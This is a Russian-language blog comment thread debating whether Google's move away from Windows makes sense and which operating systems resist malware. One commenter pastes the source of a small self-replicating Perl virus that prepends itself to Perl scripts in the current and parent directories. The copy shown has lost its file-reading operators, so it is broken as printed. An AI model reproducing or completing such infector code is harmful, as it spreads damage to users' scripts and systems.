Google отказывается от Windows из-за безопасности

Влад

В нашем Приватбанке кассиры сидят на линуксе - сам видел.Видел как перезагружали компьютер... Не знаю зачем - из-за неполадки или чего-то ещё.
Мне,конечно, важно что бы денежки лежали в целости...
Я видел в продаже компьютер с Linux, по цене компьютера с Вистой. Линукс-то бесплатен... Мне ответили что там "хорошее железо".

---

dbat

to: Мне кажется, что только домохозяйки и начинающие пользователи могут поверить в "ощущение безопасности", но я себя в безопасности не ощущаю ни где, ни в Windows, ни в Apple и даже не в Linux.

   Тебе как Специалисту конечно виднее, но мне как домохозяину работать и серфить на любим Мак ОС надежнее...
если что Apple ответит... я надеюсь... :)

---

olegmaster

Google уходит с виндоса из-за той нашумевшей атаки  китайских хакеров. винда с IE8 действитеьно оказались небезопасными по факту.

---

nektoDev

В Линуксе я в любой момент, почуяв что-то неладное, могу посмотреть что делает каждый процесс вплоть до установки семафоров, и проверить потом исходные коды. Также большинство известных пакетов в, допустим Дебиане, перед добавкой в репозиторий проверяются.
Под Линукс очень трудно написать червь по 2м основным причинам:
1. Трудно сделать так чтобы он просто даже запускался на разных машинах без багов, а уж тем более устанавливался.
2. Благодаря очень грамотной политике разграничения прав(без рук и головы пользователя, этот плюс может сойти на нет) вирусу будет трудно натворить что-нибудь существенное, а благодаря подробным логам, всегда можно отследить что и как он сделал.

---

Михаил Фленов

Атакавали Windows, потому что он самый популярный. Смотри предыдущую заметку: с ростом популярности и на безопасные (еще вчера) системы появляются вирусы, шпионыи прочая дрянь. Китайцев достаточно, чтобы завтра атакавать Linux и MacOSX. Что же теперь после каждой атаки бежать на друю ОС?

А если почитать эту новость: opensource.aaanet.ru/2007/08/16/hack-ubuntu-servers, то можно уже сейчас валить куда-нибудь.

Если прочитать эту новость: habrahabr.ru/blogs/infosecurity/54906/, то Safari убъет Google

В FireFox уязвимости находят почти каждый месяц.

---

notex

1. это в честь чего это?

2. это где это грамотная политика прав? ты не слышал о багах, которые постоянно появляются в Linux и позволяют поднять права?

---

pat

Не знаю 2 года работаю только в Ubuntu. Вполне доволен безопасность. Никакого тупого антивируса. Да и работа стабильная. А в Google многие давно работают в Linux.

Остается 1 вопрос, девелоперы, которые фигарят под Windows они как??

---

Михаил Фленов

Если выбирать за безопасность, я наверно выбрал бы BSD или Apple. Не смотря на свои проблемы на верхнем уровне, Apple все же построен на очень безопасной BSD платформе.

---

nektoDev

@notex
1. xxx: Народ! Подскажите какой-нить антивирус на debian?
yyy: Рабочих вирусов на линукс в данный момент нет. Нафиг тебе антивирус?
xxx: Это их раньше не было, я один нашел... и наконец-то пересобрал в работающем состоянии...
(С) bash.org.ru

http://goo.gl/HNe8 - список известных вирусов под Линукс. Ни один из них не работает на ядре выше 2.6

P.S. Попробуйте найти хоть один работающий вирус который САМ бы распоковался и скомплировал под, допустим Debianом и SUSE.

2. Последний по вине ядра, на моей памяти был в октябре-ноябре того года. Да и дырки все закрываются с максимальной оперативность, порой даже до выхода в паблик.

---

Михаил Фленов

Если заразы нет, то это не значит, что ее не может быть. Это значит, что просто никому не нужно. MacOS стала интересна хакерам и зараза стала появлятся, не смотря на то, что внутренности от BSD, изменена только графическая система.

---

vasek123

Плохо вы информированны...



p.s. В наше время абсолютной безопасности не может себя чувствовать как линуксоид так и пользователь Windows.

---

Михаил Фленов

Золотые слова, которые хорошо описывают заметку. Спысивать на ОС бесполезно, потому что основной проблемой безопасности является тот, кто сидит напротив монитора.

---

olegmaster

Михаил Фленов

ой ли? цель была скомпромитриовать гуголь, а не m$ а уж заюзать дыры ie может любой китайский скрипткидди, на каждого по дыре хватит


появляются != носят характер пандемий как от рустока, кидо, сассера и мсбласта.

вирус для никсов в несколько строк кода? да пожалуйста - заражай интерпретируемые файлы и делов-то:

#!/usr/bin/perl
#Perl Virus - Downward Travelling
open(File,$0);
@Virus=;
@Virus=@Virus[0...30];
close(File);

&InfectFile;
if (($^O =~ "bsd") or ($^O =~ "linux") or ($^O =~ "solaris")) { $OldDir =
pwd
} # Новая строка
if (($^O =~ "dos") or ($^O =~ "MSWin32")) { $OldDir = cd }
# Новая строка
$DotDot = '..';
# Новая строка
if ($^O =~ "MacOS") { $DotDot = "::" }
# Новая строка
chdir($DotDot);
# Новая строка
&InfectFile;
chdir($OldDir);
# Новая строка

sub InfectFile {
foreach $FileName (<*>) {
if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {
open(File, "$FileName");
@Temp=;
close(File);
if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) {
if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) {
open(File, ">$FileName");
print File @Virus;
print File @Temp;
close (File);
}}}}}

только толку-то от таких "вирусов"? все программы из репозитория. у каждого программного пакета есть мейнтенеры, которые тшательныо просматривают каждую строчку кода, которую коммитят люди со стороны. плюс на source-based дистрах добавляешь опции компилятору, повышающие безопансть - что еще больше усложнает жизнь всяким вирмейкерам. плюс зоопарк дистров в линуксе - ядро одно на всех,  а обвязки разные. что, например, может дать при большой популярности все-таки разброс по разным убунтам, сусям, федорам и опять же писать вирус невыгодно - нужно будет уметь писать ядерные вирусы, а это резко повышает порог вхождения вирусописателя, никаких скрипткидди, юзающим метасплоит это не под силу, а сейчас вирусы берут не качеством, а количеством .

какая сейчас основная схема распространения малвари - скочал (с торрента/файлооменника), запустил, заразил. в линуксе такая схема не проканывает. единственный путь - javascript'ы для браузера да документы типа pdf'а всякие. первый вирус для убунты пройдет именно таким путем



ну вообще-то компроментация рабочих мыльников сотрудников гугла - это не "каждая" атака. а если понадобится то да, побегут. а когда некуда будет бежать - свою напишут, с блекджеком и женщинами.


не путай. от DDoS атаки на сервер никто не застрахован, здесь уж у кого либо ботнет (кстати на винде построен) больше, либо канал толще. подумаешь, некоторое время убунтовцы не могли качать свою любимый дистр. не велика потеря, по бумажной почте пришлют))
а вот пустить хакера в свой огород... электронный ящик - может обернуться серьезными убытками для компании.


у гугла есть свой браузер, там уязвимостей меньше чем в лисе хотя бы потому, что они версии и движок штампуют чуть ли не каждый месяц, элементарно не успевают хакеры дыры юзать)

---

Михаил Фленов

Если нужно будет скомпрометировать Google еще раз, то будут атакавать Linux, потому что в Гугле теперь большинство будет на нем.

---

0xygen

Ну что ж... поживём - увидем :) А пока ИМХО не надо беспокоиться о вирусне в лине.

---

Еще что-нибудь

Хотите найти еще что-то интересное почитать? Можно попробовать отфильтровать заметки на блоге по категориям.